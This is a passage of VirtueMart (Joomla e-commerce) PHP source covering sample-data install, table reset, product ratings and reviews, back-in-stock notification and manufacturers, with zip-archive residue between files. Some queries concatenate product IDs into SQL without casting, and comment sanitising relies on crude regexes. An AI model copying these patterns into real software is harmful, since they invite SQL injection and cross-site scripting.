array('virtuemart_user_id'=>$userId, 'virtuemart_shoppergroup_id'=>'0'); if (!$xrefTable->save($data)) { $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::setUserToPermissionGroup xref '.$error); } return false; } } return true; } /** * Installs sample data to the current database. * * @author Max Milbers, RickG * @params $userId User Id to add the userinfo and vendor sample data to */ function installSampleData($userId = null) { if ($userId == null) { $userId = $this->determineStoreOwner(); } $fields['username'] = $this->_user->username; $fields['virtuemart_user_id'] = $userId; $fields['address_type'] = 'BT'; // Don't change this company name; it's used in install_sample_data.sql $fields['company'] = "Sample Company"; $fields['title'] = 'Mr'; $fields['last_name'] = 'John'; $fields['first_name'] = 'Doe'; $fields['middle_name'] = ''; $fields['phone_1'] = '555-555-555'; $fields['address_1'] = 'PO Box 123'; $fields['city'] = 'Seattle'; $fields['zip'] = '98101'; $fields['virtuemart_state_id'] = '48'; $fields['virtuemart_country_id'] = '223'; // $fields['virtuemart_shoppergroup_id'] = ''; //Dont change this, atm everything is mapped to mainvendor with id=1 $fields['user_is_vendor'] = '1'; $fields['virtuemart_vendor_id'] = '1'; $fields['vendor_name'] = 'Sample Company'; $fields['vendor_phone'] = '555-555-1212'; $fields['vendor_store_name'] = "VirtueMart 2 Sample store"; $fields['vendor_store_desc'] = '

        We have the best clothing for up-to-date people. Check it out!

        We were established in 1869 in a time when getting good clothes was expensive, but the quality was good. Now that only a select few of those authentic clothes survive, we have dedicated this store to bringing the experience alive for collectors and master carrier everywhere.

        You can easily find products selecting the category you would like to browse above.

        '; $fields['virtuemart_media_id'] = 1; $fields['vendor_currency'] = '47'; $fields['vendor_accepted_currencies'] = '52,26,47,144'; $fields['vendor_terms_of_service'] = '
        You have not configured any terms of service yet. Click here to change this text.
        '; $fields['vendor_url'] = JURI::root(); $fields['vendor_name'] = 'Sample Company'; $fields['perms']='admin'; $fields['vendor_legal_info']="VAT-ID: XYZ-DEMO
        Reg.Nr: DEMONUMBER"; $fields['vendor_letter_css']='.vmdoc-header { }.vmdoc-footer { }'; $fields['vendor_letter_header_html']='

        {vm:vendorname}

        {vm:vendoraddress}

        '; $fields['vendor_letter_header_image']='1'; $fields['vendor_letter_footer_html']='{vm:vendorlegalinfo}
        Page {vm:pagenum}/{vm:pagecount}'; if(!class_exists('VirtueMartModelUser')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'user.php'); $usermodel = VmModel::getModel('user'); $usermodel->setId($userId); //Save the VM user stuff if(!$usermodel->store($fields)){ vmError(JText::_('COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA') ); JError::raiseWarning('', JText::_('COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA')); } // $params = JComponentHelper::getParams('com_languages'); // $lang = $params->get('site', 'en-GB');//use default joomla // $this->installSampleSQL($lang); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_sample_data.sql'; if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } if(!$this->execSQLFile($filename)){ vmError(JText::_('Problems execution of SQL File '.$filename)); } else { //update jplugin_id from shipment and payment $db = JFactory::getDBO(); $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "weight_countries" AND folder = "vmshipment"'; $db->setQuery($q); $shipment_plg_id = $db->loadResult(); if(!empty($shipment_plg_id)){ $q = 'INSERT INTO `#__virtuemart_shipmentmethods` (`virtuemart_shipmentmethod_id`, `virtuemart_vendor_id`, `shipment_jplugin_id`, `shipment_element`, `shipment_params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$shipment_plg_id.', "weight_countries", \'shipment_logos=""|countries=""|zip_start=""|zip_stop=""|weight_start=""|weight_stop=""|weight_unit="KG"|nbproducts_start=0|nbproducts_stop=0|orderamount_start=""|orderamount_stop=""|cost="0"|package_fee="2.49"|tax_id="0"|free_shipment="500"|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q = 'INSERT INTO `#__virtuemart_shipmentmethods_'.$lang.'` (`virtuemart_shipmentmethod_id`, `shipment_name`, `shipment_desc`, `slug`) VALUES (1, "Self pick-up", "", "Self-pick-up")'; $db->setQuery($q); $db->query(); //Create table of the plugin if(JVM_VERSION!=1){ $url = '/plugins/vmshipment/weight_countries'; } else{ $url = '/plugins/vmshipment'; } if (!class_exists ('plgVmShipmentWeight_countries')) require(JPATH_ROOT . DS . $url . DS . 'weight_countries.php'); $this->installPluginTable('plgVmShipmentWeight_countries','#__virtuemart_shipment_plg_weight_countries','Shipment Weight Countries Table'); } $q = 'SELECT `extension_id` FROM #__extensions WHERE element = "standard" AND folder = "vmpayment"'; $db->setQuery($q); $payment_plg_id = $db->loadResult(); if(!empty($payment_plg_id)){ $q='INSERT INTO `#__virtuemart_paymentmethods` (`virtuemart_paymentmethod_id`, `virtuemart_vendor_id`, `payment_jplugin_id`, `payment_element`, `payment_params`, `shared`, `ordering`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, '.$payment_plg_id.', "standard", \'payment_logos=""|countries=""|payment_currency="0"|status_pending="U"|send_invoice_on_order_null="1"|min_amount=""|max_amount=""|cost_per_transaction="0.10"|cost_percent_total="1.5"|tax_id="0"|payment_info=""|\', 0, 0, 1, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0, "0000-00-00 00:00:00", 0)'; $db->setQuery($q); $db->query(); $q="INSERT INTO `#__virtuemart_paymentmethods_".$lang."` (`virtuemart_paymentmethod_id`, `payment_name`, `payment_desc`, `slug`) VALUES (1, 'Cash on delivery', '', 'Cash-on-delivery')"; $db->setQuery($q); $db->query(); if(JVM_VERSION!=1){ $url = '/plugins/vmpayment/standard'; } else{ $url = '/plugins/vmpayment'; } if (!class_exists ('plgVmPaymentStandard')) require(JPATH_ROOT . DS . $url . DS . 'standard.php'); $this->installPluginTable('plgVmPaymentStandard','#__virtuemart_payment_plg_standard','Payment Standard Table'); } vmInfo(JText::_('COM_VIRTUEMART_SAMPLE_DATA_INSTALLED')); } return true; } function installPluginTable ($className,$tablename,$tableComment) { $query = "CREATE TABLE IF NOT EXISTS `" . $tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = call_user_func($className."::getTableSQLFields"); //$SQLfields = $className::getTableSQLFields (); // $loggablefields = $className::getTableSQLLoggablefields (); $loggablefields = call_user_func($className."::getTableSQLLoggablefields"); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; $db = JFactory::getDBO(); $db->setQuery($query); if (!$db->query ()) { vmError ( $className.'::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); } } function restoreSystemDefaults() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_required_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } function restoreSystemTablesCompletly() { $this->removeAllVMTables(); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_essential_data.sql'; $this->execSQLFile($filename); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $updater->createLanguageTables(); JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRestore', $this); } /** * Parse a sql file executing each sql statement found. * * @author Max Milbers */ function execSQLFile($sqlfile ) { // Check that sql files exists before reading. Otherwise raise error for rollback if ( !file_exists($sqlfile) ) { vmError('No SQL file provided!'); return false; } if(!class_exists('VmConfig')){ require_once(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'config.php'); VmConfig::loadConfig(false,true); } if(!defined('VMLANG')){ $params = JComponentHelper::getParams('com_languages'); $lang = $params->get('site', 'en-GB');//use default joomla $lang = strtolower(strtr($lang,'-','_')); } else { $lang = VMLANG; } // Create an array of queries from the sql file jimport('joomla.installer.helper'); $queries = JInstallerHelper::splitSql(file_get_contents($sqlfile)); if (count($queries) == 0) { vmError('SQL file has no queries!'); return false; } $ok = true; $db = JFactory::getDBO(); // Process each query in the $queries array (split out of sql file). foreach ($queries as $query) { $query = trim($query); if ($query != '' && $query{0} != '#') { if(strpos($query, 'CREATE' )!==false or strpos( $query, 'INSERT')!==false){ $query = str_replace('XLANG',$lang,$query); } $db->setQuery($query); if (!$db->query()) { JError::raiseWarning(1, 'JInstaller::install: '.$sqlfile.' '.JText::_('COM_VIRTUEMART_SQL_ERROR')." ".$db->stderr(true)); $ok = false; } } } return $ok; } /** * Delete all Virtuemart tables. * * @return True if successful, false otherwise */ function removeAllVMTables() { $db = JFactory::getDBO(); $config = JFactory::getConfig(); $prefix = $config->getValue('config.dbprefix').'virtuemart_%'; $db->setQuery('SHOW TABLES LIKE "'.$prefix.'"'); if (!$tables = $db->loadResultArray()) { vmInfo ('removeAllVMTables no tables found '.$db->getErrorMsg()); return false; } $app = JFactory::getApplication(); foreach ($tables as $table) { $db->setQuery('DROP TABLE ' . $table); if($db->query()){ $droppedTables[] = substr($table,strlen($prefix)-1); } else { $errorTables[] = $table; $app->enqueueMessage('Error drop virtuemart table ' . $table); } } if(!empty($droppedTables)){ $app->enqueueMessage('Dropped virtuemart table ' . implode(', ',$droppedTables)); } if(!empty($errorTables)){ $app->enqueueMessage('Error dropping virtuemart table ' . implode($errorTables,', ')); return false; } return true; } /** * Remove all the data from all Virutmeart tables. * * @return boolean True if successful, false otherwise. */ function removeAllVMData() { JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('onVmSqlRemove', $this); $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'uninstall_data.sql'; $this->execSQLFile($filename); $tables = array('categories','manufacturers','manufacturercategories','paymentmethods','products','shipmentmethods','vendors'); $prefix = $this->_db->getPrefix(); foreach ($tables as $table) { $query = 'SHOW TABLES LIKE "'.$prefix.'virtuemart_'.$table.'_%"'; $this->_db->setQuery($query); if($translatedTables= $this->_db->loadResultArray()) { foreach ($translatedTables as $translatedTable) { $this->_db->setQuery('TRUNCATE TABLE `'.$translatedTable.'`'); if($this->_db->query()) vmInfo( $translatedTable.' empty'); else vmError($translatedTable.' language table Cannot be deleted'); } } else vmInfo('No '.$table.' language table found to delete '.$query); } //"TRUNCATE TABLE IS FASTER and reset the primary Keys; //install required data again $filename = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'install'.DS.'install_required_data.sql'; $this->execSQLFile($filename); return true; } /** * This function deletes all stored thumbs and deletes the entries for all thumbs, usually this is need for shops * older than vm2.0.22. The new pattern is now not storing the url as long it is not overwritten. * Of course the function deletes all overwrites, but you can now relativly easy change the thumbsize in your shop * @author Max Milbers */ function resetThumbs(){ $db = JFactory::getDbo(); $q = 'UPDATE `#__virtuemart_medias` SET `file_url_thumb`=""'; $db->setQuery($q); $db->query(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('resetThumbs Update entries failed ',$err); } jimport('joomla.filesystem.folder'); $tmpimg_resize_enable = VmConfig::get('img_resize_enable',1); VmConfig::set('img_resize_enable',0); $this->deleteMediaThumbFolder('media_category_path'); $this->deleteMediaThumbFolder('media_product_path'); $this->deleteMediaThumbFolder('media_manufacturer_path'); $this->deleteMediaThumbFolder('media_vendor_path'); $this->deleteMediaThumbFolder('forSale_path_thumb',''); VmConfig::set('img_resize_enable',$tmpimg_resize_enable); return true; } /** * Delets a thumb folder and recreates it, contains small nasty hack for the thumbnail folder of the "file for sale" * @author Max Milbers * @param $type * @param string $resized * @return bool */ private function deleteMediaThumbFolder($type,$resized='resized'){ if(!empty($resized)) $resized = DS.$resized; $typePath = VmConfig::get($type); if(!empty($typePath)){ $path = JPATH_ROOT.DS.str_replace('/',DS,$typePath).$resized; $msg = JFolder::delete($path); if(!$msg){ vmWarn('Problem deleting '.$type); } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); $msg = JFolder::create($path); return $msg; } else { return 'Config path for '.$type.' empty'; } } } //pure php no tag PK@y>\U ? ?,components/com_virtuemart/models/ratings.phpnuW+AsetMainTable('ratings'); $layout = JRequest::getString('layout','default'); $task = JRequest::getCmd('task','default'); if($layout == 'list_reviews' or $task == 'listreviews'){ vmdebug('in review list'); $myarray = array('pr.created_on','virtuemart_rating_review_id','vote'); $this->removevalidOrderingFieldName('created_on'); $this->removevalidOrderingFieldName('product_name'); $this->removevalidOrderingFieldName('virtuemart_rating_id'); $this->removevalidOrderingFieldName('rating'); $this->_selectedOrdering = 'pr.created_on'; } else { $myarray = array('created_on','product_name','virtuemart_rating_id'); $this->removevalidOrderingFieldName('pr.created_on'); $this->removevalidOrderingFieldName('virtuemart_rating_review_id'); $this->removevalidOrderingFieldName('vote'); $this->_selectedOrdering = 'created_on'; } $this->addvalidOrderingFieldName($myarray); } /** * Select the products to list on the product list page */ public function getRatings() { $tables = ' FROM `#__virtuemart_ratings` AS `r` JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` USING (`virtuemart_product_id`) '; $whereString = ''; $this->_data = $this->exeSortSearchListQuery(0,' r.*,p.`product_name` ',$tables,$whereString,'',$this->_getOrdering()); // $this->_data = $this->_getList($q, $this->getState('limitstart'), $this->getState('limit')); // set total for pagination // $this->_total = $this->_getListCount($q) ; // if(empty($this->_data)) $this->_data = array(); // if(!isset($this->_total)) $this->_total = 0; return $this->_data; } /** * Load a single rating * @author RolandD */ public function getRating($cids) { if (empty($cids)) { return; } /* First copy the product in the product table */ $ratings_data = $this->getTable('ratings'); /* Load the rating */ $joinValue = array('product_name' =>'#__virtuemart_products'); if ($cids) { $ratings_data->load ($cids[0], $joinValue, 'virtuemart_product_id'); } /* Add some variables for a new rating */ if (JRequest::getWord('task') == 'add') { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $ratings_data->virtuemart_product_id = $virtuemart_product_id; /* User ID */ $user = JFactory::getUser(); $ratings_data->virtuemart_user_id = $user->id; } return $ratings_data; } /** * @author Max Milbers * @param $virtuemart_product_id * @return null */ function getReviews($virtuemart_product_id){ if (empty($virtuemart_product_id)) { return NULL; } $select = '`u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`, `u`.`name` AS customer, `pr`.`published`'; $tables = ' FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__users` AS `u` ON `pr`.`created_by` = `u`.`id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` AS `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`u`.`id`'; $whereString = ' WHERE `p`.`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $result = $this->exeSortSearchListQuery(0,$select,$tables,$whereString,'',$this->_getOrdering()); return $result; } /** * @author Max Milbers * @param $cids * @return mixed@ */ function getReview($cids){ $q = 'SELECT `u`.*,`pr`.*,`p`.`product_name`,`rv`.`vote`,CONCAT_WS(" ",`u`.`title`,u.`last_name`,`u`.`first_name`) as customer FROM `#__virtuemart_rating_reviews` AS `pr` LEFT JOIN `#__virtuemart_userinfos` AS `u` ON `pr`.`created_by` = `u`.`virtuemart_user_id` LEFT JOIN `#__virtuemart_products_'.VMLANG.'` AS `p` ON `p`.`virtuemart_product_id` = `pr`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_rating_votes` as `rv` on `rv`.`virtuemart_product_id`=`pr`.`virtuemart_product_id` and `rv`.`created_by`=`pr`.`created_by` WHERE virtuemart_rating_review_id="'.(int)$cids[0].'" ' ; $this->_db->setQuery($q); vmdebug('getReview',$this->_db->getQuery()); return $this->_db->loadObject(); } /** * gets a rating by a product id * * @author Max Milbers * @param int $product_id */ function getRatingByProduct($product_id){ $q = 'SELECT * FROM `#__virtuemart_ratings` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a review by a product id * * @author Max Milbers * @param int $product_id */ function getReviewByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * gets a reviews by a product id * * @author Max Milbers * @param int $product_id */ function getReviewsByProduct($product_id){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_reviews` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" '; $this->_db->setQuery($q); return $this->_db->loadObjectList(); } /** * gets a vote by a product id and userId * * @author Max Milbers * @param int $product_id */ function getVoteByProduct($product_id,$userId=0){ if(empty($userId)){ $user = JFactory::getUser(); $userId = $user->id; } $q = 'SELECT * FROM `#__virtuemart_rating_votes` WHERE `virtuemart_product_id` = "'.(int)$product_id.'" AND `created_by` = "'.(int)$userId.'" '; $this->_db->setQuery($q); return $this->_db->loadObject(); } /** * Save a rating * @author Max Milbers */ public function saveRating($data=0) { //Check user_rating $maxrating = VmConfig::get('vm_maximum_rating_scale',5); $virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0); $app = JFactory::getApplication(); if( $app->isSite() ){ $user = JFactory::getUser(); $userId = $user->id; $allowReview = $this->allowReview($virtuemart_product_id); $allowRating = $this->allowRating($virtuemart_product_id); } else { $userId = $data['created_by']; $allowReview = true; $allowRating = true; } if(!empty($virtuemart_product_id)){ //if ( !empty($data['virtuemart_product_id']) && !empty($userId)){ if(empty($data)) $data = vRequest::getPost(); if($allowRating){ //normalize the rating if ($data['vote'] < 0) { $data['vote'] = 0; } if ($data['vote'] > ($maxrating + 1)) { $data['vote'] = $maxrating; } $data['lastip'] = $_SERVER['REMOTE_ADDR']; $data['vote'] = (int) $data['vote']; $rating = $this->getRatingByProduct($data['virtuemart_product_id']); vmdebug('$rating',$rating); $vote = $this->getVoteByProduct($data['virtuemart_product_id'],$userId); vmdebug('$vote',$vote); $data['virtuemart_rating_vote_id'] = empty($vote->virtuemart_rating_vote_id)? 0: $vote->virtuemart_rating_vote_id; if(isset($data['vote'])){ $votesTable = $this->getTable('rating_votes'); $votesTable->bindChecknStore($data,TRUE); $errors = $votesTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store votes '.$error); } } if(!empty($rating->rates) && empty($vote) ){ $data['rates'] = $rating->rates + $data['vote']; $data['ratingcount'] = $rating->ratingcount+1; } else { if (!empty($rating->rates) && !empty($vote->vote)) { $data['rates'] = $rating->rates - $vote->vote + $data['vote']; $data['ratingcount'] = $rating->ratingcount; } else { $data['rates'] = $data['vote']; $data['ratingcount'] = 1; } } if(empty($data['rates']) || empty($data['ratingcount']) ){ $data['rating'] = 0; } else { $data['rating'] = $data['rates']/$data['ratingcount']; } $data['virtuemart_rating_id'] = empty($rating->virtuemart_rating_id)? 0: $rating->virtuemart_rating_id; vmdebug('saveRating $data',$data); $rating = $this->getTable('ratings'); $rating->bindChecknStore($data,TRUE); $errors = $rating->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store rating '.$error); } } if($allowReview and !empty($data['comment'])){ //if(!empty($data['comment'])){ $data['comment'] = substr($data['comment'], 0, VmConfig::get('vm_reviews_maximum_comment_length', 2000)) ; // no HTML TAGS but permit all alphabet $value = preg_replace('@<[\/\!]*?[^<>]*?>@si','',$data['comment']);//remove all html tags $value = (string)preg_replace('#on[a-z](.+?)\)#si','',$value);//replace start of script onclick() onload()... $value = trim(str_replace('"', ' ', $value),"'") ; $data['comment'] = (string)preg_replace('#^\'#si','',$value);//replace ' at start $data['comment'] = nl2br($data['comment']); // keep returns //set to defaut value not used (prevent hack) $data['review_ok'] = 0; $data['review_rating'] = 0; $data['review_editable'] = 0; // Check if ratings are auto-published (set to 0 prevent injected by user) // $app = JFactory::getApplication(); if( $app->isSite() ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(!Permissions::getInstance()->check('admin')){ if (VmConfig::get ('reviews_autopublish', 1)) { $data['published'] = 1; } } } $review = $this->getReviewByProduct($data['virtuemart_product_id'],$userId); if(!empty($review->review_rates)){ $data['review_rates'] = $review->review_rates + $data['vote']; } else { $data['review_rates'] = $data['vote']; } if(!empty($review->review_ratingcount)){ $data['review_ratingcount'] = $review->review_ratingcount+1; } else { $data['review_ratingcount'] = 1; } $data['review_rating'] = $data['review_rates']/$data['review_ratingcount']; $data['virtuemart_rating_review_id'] = empty($review->virtuemart_rating_review_id)? 0: $review->virtuemart_rating_review_id; $reviewTable = $this->getTable('rating_reviews'); $reviewTable->bindChecknStore($data,TRUE); $errors = $reviewTable->getErrors(); foreach($errors as $error){ vmError(get_class( $this ).'::Error store review '.$error); } } return $data['virtuemart_rating_review_id']; } else{ vmError('Cant save rating/review/vote without vote/product_id'); return FALSE; } } /** * removes a product and related table entries * * @author Max Milberes */ public function remove($ids) { $rating = $this->getTable($this->_maintablename); $review = $this->getTable('rating_reviews'); $votes = $this->getTable('rating_votes'); $ok = TRUE; foreach($ids as $id) { $rating->load($id); $prod_id = $rating->virtuemart_product_id; if (!$rating->delete($id)) { vmError(get_class( $this ).'::Error deleting ratings '.$rating->getError()); $ok = FALSE; } if (!$review->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting review '.$review->getError()); $ok = FALSE; } if (!$votes->delete($prod_id,'virtuemart_product_id')) { vmError(get_class( $this ).'::Error deleting votes '.$votes->getError()); $ok = FALSE; } } return $ok; } /** * Returns the number of reviews assigned to a product * * @author RolandD * @param int $pid Product ID * @return int */ public function countReviewsForProduct($pid) { $db = JFactory::getDBO(); $q = "SELECT COUNT(*) AS total FROM #__virtuemart_rating_reviews WHERE virtuemart_product_id=".(int)$pid; $db->setQuery($q); $reviews = $db->loadResult(); return $reviews; } public function showReview($product_id){ return $this->show($product_id, VmConfig::get('showReviewFor','all')); } public function showRating($product_id = 0){ return $this->show($product_id, VmConfig::get('showRatingFor','all')); } public function allowReview($product_id){ return $this->show($product_id, VmConfig::get('reviewMode','bought')); } public function allowRating($product_id){ return $this->show($product_id, VmConfig::get('ratingMode','bought')); } /** * Decides if the rating/review should be shown on the FE * @author Max Milbers */ private function show($product_id, $show){ //dont show if($show == 'none'){ return false; } //show all else { if ($show == 'all') { return true; } //show only registered else { if ($show == 'registered') { $user = JFactory::getUser (); return !empty($user->id); } //show only registered && who bought the product else { if ($show == 'bought') { if (empty($product_id)) { return false; } if (isset($this->_productBought[$product_id])) { return $this->_productBought[$product_id]; } $user = JFactory::getUser (); $rr_os=VmConfig::get('rr_os',array('C')); if(!is_array($rr_os)) $rr_os = array($rr_os); $db = JFactory::getDBO (); $q = 'SELECT COUNT(*) as total FROM `#__virtuemart_orders` AS o LEFT JOIN `#__virtuemart_order_items` AS oi '; $q .= 'ON `o`.`virtuemart_order_id` = `oi`.`virtuemart_order_id` '; $q .= 'WHERE o.virtuemart_user_id = "' . $user->id . '" AND oi.virtuemart_product_id = "' . $product_id . '" '; $q .= 'AND o.order_status IN (\'' . implode("','",$rr_os). '\') '; $db->setQuery ($q); $count = $db->loadResult (); if ($count) { $this->_productBought[$product_id] = true; return true; } else { $this->_productBought[$product_id] = false; return false; } } } } } } } // pure php no closing tag PK@y>\s(؜0components/com_virtuemart/models/waitinglist.phpnuW+AsetQuery ($q); return $db->loadObjectList (); } /** * Notify customers product is back in stock * * @author RolandD * @author Christopher Rouseel * @todo Add Itemid * @todo Do something if the mail cannot be send * @todo Update mail from * @todo Get the from name/email from the vendor */ public function notifyList ($virtuemart_product_id, $subject = '', $mailbody = '', $max_number = 0) { if (!$virtuemart_product_id) { return FALSE; } //sanitize id $virtuemart_product_id = (int)$virtuemart_product_id; $max_number = (int)$max_number; if (!class_exists ('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } $vars = array(); $waiting_users = $this->getWaitingusers ($virtuemart_product_id); /* Load the product details */ $db = JFactory::getDbo (); $q = "SELECT l.product_name,product_in_stock FROM `#__virtuemart_products_" . VMLANG . "` l JOIN `#__virtuemart_products` p ON p.virtuemart_product_id=l.virtuemart_product_id WHERE p.virtuemart_product_id = " . $virtuemart_product_id; $db->setQuery ($q); $item = $db->loadObject (); $vars['productName'] = $item->product_name; /* if ($item->product_in_stock <= 0) { return FALSE; } */ $url = JURI::root () . 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; $vars['link'] = ''. $item->product_name.''; if (empty($subject)) { $subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $item->product_name); } $vars['subject'] = $subject; $vars['mailbody'] = $mailbody; $virtuemart_vendor_id = 1; $vendorModel = VmModel::getModel ('vendor'); $vendor = $vendorModel->getVendor ($virtuemart_vendor_id); $vendorModel->addImages ($vendor); $vars['vendor'] = $vendor; $vars['vendorAddress']= shopFunctions::renderVendorAddress($virtuemart_vendor_id); $vendorEmail = $vendorModel->getVendorEmail ($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; $i = 0; foreach ($waiting_users as $waiting_user) { $vars['user'] = $waiting_user->name ; if (shopFunctionsF::renderMail ('productdetails', $waiting_user->notify_email, $vars, 'productdetails')) { $db->setQuery ('UPDATE #__virtuemart_waitingusers SET notified=1 WHERE virtuemart_waitinguser_id=' . $waiting_user->virtuemart_waitinguser_id); $db->query (); $i++; } if (!empty($max_number) && $i >= $max_number) { break; } } return TRUE; } /** * Add customer to the waiting list for specific product * * @author Seyi Awofadeju * @return insert_id if the save was successful, false otherwise. */ public function adduser ($data) { JRequest::checkToken () or jexit ('Invalid Token, in notify customer'); $field = $this->getTable ('waitingusers'); if (!$field->bind ($data)) { // Bind data vmError ($field->getError ()); return FALSE; } if (!$field->check ()) { // Perform data checks vmError ($field->getError ()); return FALSE; } $_id = $field->store (); if ($_id === FALSE) { // Write data to the DB vmError ($field->getError ()); return FALSE; } //jexit(); return $_id; } } // pure php no closing tag PK@y>\4Luu1components/com_virtuemart/models/manufacturer.phpnuW+AsetMainTable('manufacturers'); $this->addvalidOrderingFieldName(array('m.virtuemart_manufacturer_id','mf_name','mf_desc','mf_category_name','mf_url')); $this->removevalidOrderingFieldName('virtuemart_manufacturer_id'); $this->_selectedOrdering = 'mf_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Load a single manufacturer */ public function getManufacturer() { static $_manus = array(); if (!array_key_exists ($this->_id, $_manus)) { $this->_data = $this->getTable('manufacturers'); $this->_data->load($this->_id); $xrefTable = $this->getTable('manufacturer_medias'); $this->_data->virtuemart_media_id = $xrefTable->load($this->_id); $_manus[$this->_id] = $this->_data; } return $_manus[$this->_id]; } /** * Bind the post data to the manufacturer table and save it * * @author Roland * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { // Setup some place holders $table = $this->getTable('manufacturers'); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } // Process the images $mediaModel = VmModel::getModel('Media'); 